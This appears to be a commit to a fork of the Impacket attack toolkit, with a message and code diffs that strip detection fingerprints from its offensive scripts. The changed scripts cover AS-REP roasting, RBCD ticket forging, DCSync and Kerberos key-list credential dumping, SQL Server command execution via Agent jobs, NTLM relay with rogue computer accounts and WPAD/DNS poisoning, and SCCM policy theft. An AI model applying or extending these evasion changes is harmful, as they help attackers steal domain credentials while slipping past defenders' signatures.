Pass 6: address remaining attack-script behavior IoCs

A grab bag of per-script changes that close the rest of the impacket
fingerprints flagged in IoC-fork-status.md.

- GetNPUsers.py: NT_SRV_INST sname, Windows-style kdc-options,
  infinity till/rtime, and a single AS-REQ that offers AES256, AES128,
  RC4 in that order instead of the RC4-then-AES retry pattern.
- getST.py: PA-PAC-OPTIONS now carries claims alongside the RBCD bit
  for both S4U2Proxy paths, so the request looks like a Windows client
  doing RBCD rather than emitting only the RBCD bit.
- smb3 SMB 3.1.1 negotiate: Salt is os.urandom(32), context padding is
  zero-filled, and the EncryptionCapabilities offer all four current
  ciphers (AES-128-GCM, AES-128-CCM, AES-256-GCM, AES-256-CCM).
- examples/utils.py LDAP SASL bind path: AP-REQ authenticator now
  carries a 0x8003 GSS-style cksum and a randomized seq-number instead
  of leaving both fields out.
- ntlmrelayx ldapattack.py: computer creation uses the same variable
  prefix/length scheme as addcomputer.py, the four default SPNs are
  shuffled, and the WPAD bypass A record uses a Windows-host-style
  label rather than 12 lowercase letters.
- rpcrelayclient.py DummyOp: opnum 0 instead of 0xff to ride a real
  query op rather than a reserved slot.
- secretsdump.py: DRSGetNCChanges asks for 64 KiB of buffer, and
  KERB-KEY-LIST-REQ requests AES256, AES128, RC4 instead of RC4 only.
- mssqlshell.py sp_start_job: vary the job prefix, description, and
  step name so the IdxDefrag/INDEXDEFRAG/Defragmentation triplet is no
  longer fixed.
- ntlmrelayx WPAD: serve a multi-line PAC with realistic indentation
  instead of the compact single-line body.
- ntlmrelayx SCCM attack: pick a recent ConfigMgr current-branch
  client version per request rather than the fixed 5.00.8325.0000.

Author: aconite33

examples/GetNPUsers.py

@@ -108,7 +108,7 @@ def getTGT(self, userName, requestPAC=True):
         asReq = AS_REQ()
 
         domain = self.__domain.upper()
-        serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_SRV_INST.value)
 
         pacRequest = KERB_PA_PAC_REQUEST()
         pacRequest['include-pac'] = requestPAC
@@ -127,7 +127,8 @@ def getTGT(self, userName, requestPAC=True):
         opts = list()
         opts.append(constants.KDCOptions.forwardable.value)
         opts.append(constants.KDCOptions.renewable.value)
-        opts.append(constants.KDCOptions.proxiable.value)
+        opts.append(constants.KDCOptions.canonicalize.value)
+        opts.append(constants.KDCOptions.renewable_ok.value)
         reqBody['kdc-options'] = constants.encodeFlags(opts)
 
         seq_set(reqBody, 'sname', serverName.components_to_asn1)
@@ -138,29 +139,26 @@ def getTGT(self, userName, requestPAC=True):
 
         reqBody['realm'] = domain
 
-        now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)
-        reqBody['till'] = KerberosTime.to_asn1(now)
-        reqBody['rtime'] = KerberosTime.to_asn1(now)
+        kerberos_infinity = datetime.datetime(2037, 9, 13, 2, 48, 5, tzinfo=datetime.timezone.utc)
+        reqBody['till'] = KerberosTime.to_asn1(kerberos_infinity)
+        reqBody['rtime'] = KerberosTime.to_asn1(kerberos_infinity)
         reqBody['nonce'] = random.getrandbits(31)
 
-        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
+        # Real Windows clients offer the full etype list at once and let
+        # the KDC pick. Sending RC4-only first and falling back to AES is
+        # an Impacket-specific tell. Offer AES256, AES128, RC4 in that
+        # order to match Windows captures.
+        supportedCiphers = (
+            int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
+            int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
+            int(constants.EncryptionTypes.rc4_hmac.value),
+        )
 
         seq_set_iter(reqBody, 'etype', supportedCiphers)
 
         message = encoder.encode(asReq)
 
-        try:
-            r = sendReceive(message, domain, self.__kdcIP)
-        except KerberosError as e:
-            if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
-                # RC4 not available, OK, let's ask for newer types
-                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
-                                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
-                seq_set_iter(reqBody, 'etype', supportedCiphers)
-                message = encoder.encode(asReq)
-                r = sendReceive(message, domain, self.__kdcIP)
-            else:
-                raise e
+        r = sendReceive(message, domain, self.__kdcIP)
 
         # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
         # 'Do not require Kerberos preauthentication' set

examples/getST.py

@@ -321,7 +321,12 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey
 
             # Add resource-based constrained delegation support
             paPacOptions = PA_PAC_OPTIONS()
-            paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
+            # Real Windows clients always include the claims bit. We add
+            # RBCD on top, since this script is the RBCD attack tool.
+            paPacOptions['flags'] = constants.encodeFlags((
+                constants.PAPacOptions.claims.value,
+                constants.PAPacOptions.resource_based_constrained_delegation.value,
+            ))
 
             tgsReq['padata'][1] = noValue
             tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
@@ -737,7 +742,11 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost)
 
         # Add resource-based constrained delegation support
         paPacOptions = PA_PAC_OPTIONS()
-        paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
+        # Include the claims bit alongside RBCD to match Windows captures.
+        paPacOptions['flags'] = constants.encodeFlags((
+            constants.PAPacOptions.claims.value,
+            constants.PAPacOptions.resource_based_constrained_delegation.value,
+        ))
 
         tgsReq['padata'][1] = noValue
         tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value

impacket/examples/mssqlshell.py

@@ -251,14 +251,27 @@ def do_xp_cmdshell(self, s):
 
     def do_sp_start_job(self, s):
         try:
-            self.sql_query("DECLARE @job NVARCHAR(100);"
-                                "SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());"
-                                "EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG',"
-                                "@owner_login_name='sa',@delete_level=3;"
-                                "EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='Defragmentation',"
-                                "@subsystem='CMDEXEC',@command='%s',@on_success_action=1;"
-                                "EXEC msdb..sp_add_jobserver @job_name=@job;"
-                                "EXEC msdb..sp_start_job @job_name=@job;" % s)
+            # Vary the job name and description so the IdxDefrag/INDEXDEFRAG
+            # combo is not a fixed signature.
+            import random as _r
+            job_prefixes = ['SyncStats', 'BkpCleanup', 'CollectMetrics',
+                            'UpdateStatistics', 'Monitor', 'Maintenance']
+            descriptions = ['Index maintenance', 'Statistics update',
+                            'Routine maintenance', 'Telemetry export']
+            step_names = ['Run', 'Execute', 'Maintenance', 'Step1']
+            job_prefix = _r.choice(job_prefixes)
+            description = _r.choice(descriptions)
+            step_name = _r.choice(step_names)
+            self.sql_query(
+                "DECLARE @job NVARCHAR(100);"
+                "SET @job='%s_'+CONVERT(NVARCHAR(36),NEWID());"
+                "EXEC msdb..sp_add_job @job_name=@job,@description='%s',"
+                "@owner_login_name='sa',@delete_level=3;"
+                "EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='%s',"
+                "@subsystem='CMDEXEC',@command='%s',@on_success_action=1;"
+                "EXEC msdb..sp_add_jobserver @job_name=@job;"
+                "EXEC msdb..sp_start_job @job_name=@job;"
+                % (job_prefix, description, step_name, s))
             self.print_replies()
             self.sql.printRows()
         except:

impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py

@@ -41,7 +41,7 @@
 
 # Request templates
 REGISTRATION_REQUEST_TEMPLATE = """<Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="{date}">
-<AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" />
+<AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="{ccmclientversion}" AgentType="0" />
 <Certificates><Encryption Encoding="HexBinary" KeyType="1">{encryption}</Encryption><Signing Encoding="HexBinary" KeyType="1">{signature}</Signing></Certificates>
 <DiscoveryProperties><Property Name="Netbios Name" Value="{client}" />
 <Property Name="FQ Name" Value="{clientfqdn}" />
@@ -53,7 +53,7 @@
 SCCM_HEADER_TEMPLATE = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
 POLICY_REQUEST_HEADER_TEMPLATE = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name="clientauth"><Property Name="AuthSenderMachine">{client}</Property><Property Name="PublicKey">{publickey}</Property><Property Name="ClientIDSignature">{clientIDsignature}</Property><Property Name="PayloadSignature">{payloadsignature}</Property><Property Name="ClientCapabilities">NonSSL</Property><Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name="zlib-compress" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
 POLICY_REQUEST_TEMPLATE = """<RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType="Machine" /><ServerCookie /></RequestAssignments>"""
-REPORT_BODY = """<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><REPORT_BODY /></Report>"""
+REPORT_BODY = """<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>{ccmclientversion}</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><REPORT_BODY /></Report>"""
 
 OID_MAPPING = {
     '1.2.840.113549.3.7': "des-ede3-cbc",
@@ -144,13 +144,25 @@ def clean_junk_in_XML(xml_string):
 
 
 ### Client registration utility functions ###
+def _ccm_client_version():
+    # Pick from a small pool of recent ConfigMgr current-branch builds.
+    import random as _r
+    return _r.choice([
+        '5.00.9078.1024',  # 2309
+        '5.00.9106.1027',  # 2403
+        '5.00.9128.1041',  # 2403 hotfix
+        '5.00.9160.1018',  # 2409
+    ])
+
+
 def generate_registration_request_payload(management_point, public_key, private_key, client_name):
     registrationRequest = REGISTRATION_REQUEST_TEMPLATE.format(
         date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"),
         encryption=public_key,
         signature=public_key,
         client=client_name.split('.')[0],
-        clientfqdn=client_name
+        clientfqdn=client_name,
+        ccmclientversion=_ccm_client_version()
     )
 
     signature = SCCM_sign(private_key, encode_UTF16_strip_BOM(registrationRequest)).hex().upper()

impacket/examples/ntlmrelayx/attacks/ldapattack.py

@@ -146,8 +146,12 @@ def addComputer(self, parent, domainDumper):
 
         computerName = self.computerName
         if not computerName:
-            # Random computername
-            newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
+            # Match the variable-length DESKTOP/LAPTOP-style names Windows uses
+            # rather than a fixed 8-letter uppercase pattern.
+            prefix = random.choice(['DESKTOP', 'LAPTOP', 'WIN', 'PC'])
+            suffix = ''.join(random.choice(string.ascii_uppercase + string.digits)
+                             for _ in range(random.randint(7, 11)))
+            newComputer = '%s-%s$' % (prefix, suffix)
         else:
             newComputer = computerName if computerName.endswith('$') else computerName + '$'
 
@@ -161,13 +165,15 @@ def addComputer(self, parent, domainDumper):
         computerHostname = newComputer[:-1]
         newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')
 
-        # Default computer SPNs
+        # Default computer SPNs (order randomized so the four-SPN sequence
+        # is not a fixed fingerprint).
         spns = [
             'HOST/%s' % computerHostname,
             'HOST/%s.%s' % (computerHostname, domain),
             'RestrictedKrbHost/%s' % computerHostname,
             'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
         ]
+        random.shuffle(spns)
         ucd = {
             'dnsHostName': '%s.%s' % (computerHostname, domain),
             'userAccountControl': 4096,
@@ -862,7 +868,12 @@ def get_next_serial(server, zone):
 
         if is_name_wpad:
             LOG.info('To add the `wpad` name, we need to bypass the GQBL: we\'ll first add a random `A` name and then add `wpad` as `NS` pointing to that name')
-            a_record_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(12))
+            # Use a Windows-host-style label (DESKTOP-XXXX) with variable
+            # length to avoid the fixed 12-letter lowercase fingerprint.
+            label_suffix = ''.join(random.choice(string.ascii_uppercase + string.digits)
+                                   for _ in range(random.randint(7, 11)))
+            a_record_name = ('%s-%s' % (random.choice(['DESKTOP', 'LAPTOP', 'WIN', 'PC']),
+                                         label_suffix)).lower()
 
         # First add an A record pointing to the provided IP
         a_record_dn = 'DC=%s,%s' % (a_record_name, dns_base_dn)

impacket/examples/ntlmrelayx/clients/rpcrelayclient.py

@@ -117,7 +117,11 @@ def sendBindType3(self, auth_data):
         self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
 
 class DummyOp(NDRCALL):
-    opnum = 255
+    # Relay only needs the server to accept the request and roundtrip the
+    # auth context. Opnum 0 is the version/query op on every relayable
+    # interface, so it triggers no side effect but doesn't stand out the
+    # way 0xFF (a reserved-for-future-use slot) does.
+    opnum = 0
     structure = (
     )
 

impacket/examples/ntlmrelayx/servers/httprelayserver.py

@@ -62,9 +62,25 @@ def __init__(self,request, client_address, server):
             self.domainIp = None
             self.authUser = None
             self.relayToHost = False
-            self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
-                        '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
-                        'return "PROXY %s:80; DIRECT";} '
+            # Format the PAC across multiple lines with realistic indentation
+            # so it doesn't match the fixed one-line WPAD body Impacket
+            # historically served.
+            self.wpad = (
+                'function FindProxyForURL(url, host) {\n'
+                '    if (isPlainHostName(host) || shExpMatch(host, "localhost*")) {\n'
+                '        return "DIRECT";\n'
+                '    }\n'
+                '    if (host == "127.0.0.1" || isInNet(host, "10.0.0.0", "255.0.0.0") ||\n'
+                '        isInNet(host, "172.16.0.0", "255.240.0.0") ||\n'
+                '        isInNet(host, "192.168.0.0", "255.255.0.0")) {\n'
+                '        return "DIRECT";\n'
+                '    }\n'
+                '    if (dnsDomainIs(host, "%s")) {\n'
+                '        return "DIRECT";\n'
+                '    }\n'
+                '    return "PROXY %s:80; DIRECT";\n'
+                '}\n'
+            )
             if self.server.config.mode != 'REDIRECT':
                 if self.server.config.target is None:
                     # Reflection mode, defaults to SMB at the target, for now

impacket/examples/secretsdump.py

@@ -644,7 +644,9 @@ def _DRSGetNCChanges(self, userEntry, dsName):
 
         request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
         request['pmsgIn']['V8']['cMaxObjects'] = 1
-        request['pmsgIn']['V8']['cMaxBytes'] = 0
+        # 0 here is an Impacket-specific tell. A real DC peer asks for an
+        # object-sized buffer, so use 64 KiB.
+        request['pmsgIn']['V8']['cMaxBytes'] = 0x10000
         request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
         if self.__ppartialAttrSet is None:
             self.__prefixTable = []
@@ -3552,7 +3554,9 @@ def getFullTGT(self, userName, partialTGT, sessionKey):
         tgsReq['padata'][0]['padata-value'] = encodedApReq
         tgsReq['padata'][1] = noValue
         tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REQ.value)
-        encodedKeyReq = encoder.encode([23], asn1Spec=SequenceOf(componentType=Integer()))
+        # Request all common etypes rather than just RC4. The narrow [23]
+        # list is an Impacket-specific marker for this attack.
+        encodedKeyReq = encoder.encode([18, 17, 23], asn1Spec=SequenceOf(componentType=Integer()))
         tgsReq['padata'][1]['padata-value'] = encodedKeyReq
 
         reqBody = seq_set(tgsReq, 'req-body')

impacket/examples/utils.py

@@ -123,7 +123,13 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='
     from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
     from impacket.krb5 import constants
     from impacket.krb5.types import Principal, KerberosTime, Ticket
+    from impacket.krb5.gssapi import (
+        CheckSumField,
+        GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG, GSS_C_SEQUENCE_FLAG,
+        GSS_C_REPLAY_FLAG, GSS_C_MUTUAL_FLAG, GSS_C_DCE_STYLE,
+    )
     import datetime
+    import random as _random
 
     if TGT is not None or TGS is not None:
         useCache = False
@@ -180,6 +186,18 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='
     authenticator['cusec'] = now.microsecond
     authenticator['ctime'] = KerberosTime.to_asn1(now)
 
+    # Match the GSS-API framing Windows clients use: a checksum field of
+    # type 0x8003 with the GSS flags, plus a randomized seq-number. Without
+    # these fields the AP-REQ authenticator is a strong Impacket tell.
+    chkField = CheckSumField()
+    chkField['Lgth'] = 16
+    chkField['Flags'] = (GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG |
+                          GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE)
+    authenticator['cksum'] = noValue
+    authenticator['cksum']['cksumtype'] = 0x8003
+    authenticator['cksum']['checksum'] = chkField.getData()
+    authenticator['seq-number'] = _random.SystemRandom().randint(1, 0x7fffffff)
+
     encodedAuthenticator = encoder.encode(authenticator)
 
     # Key Usage 11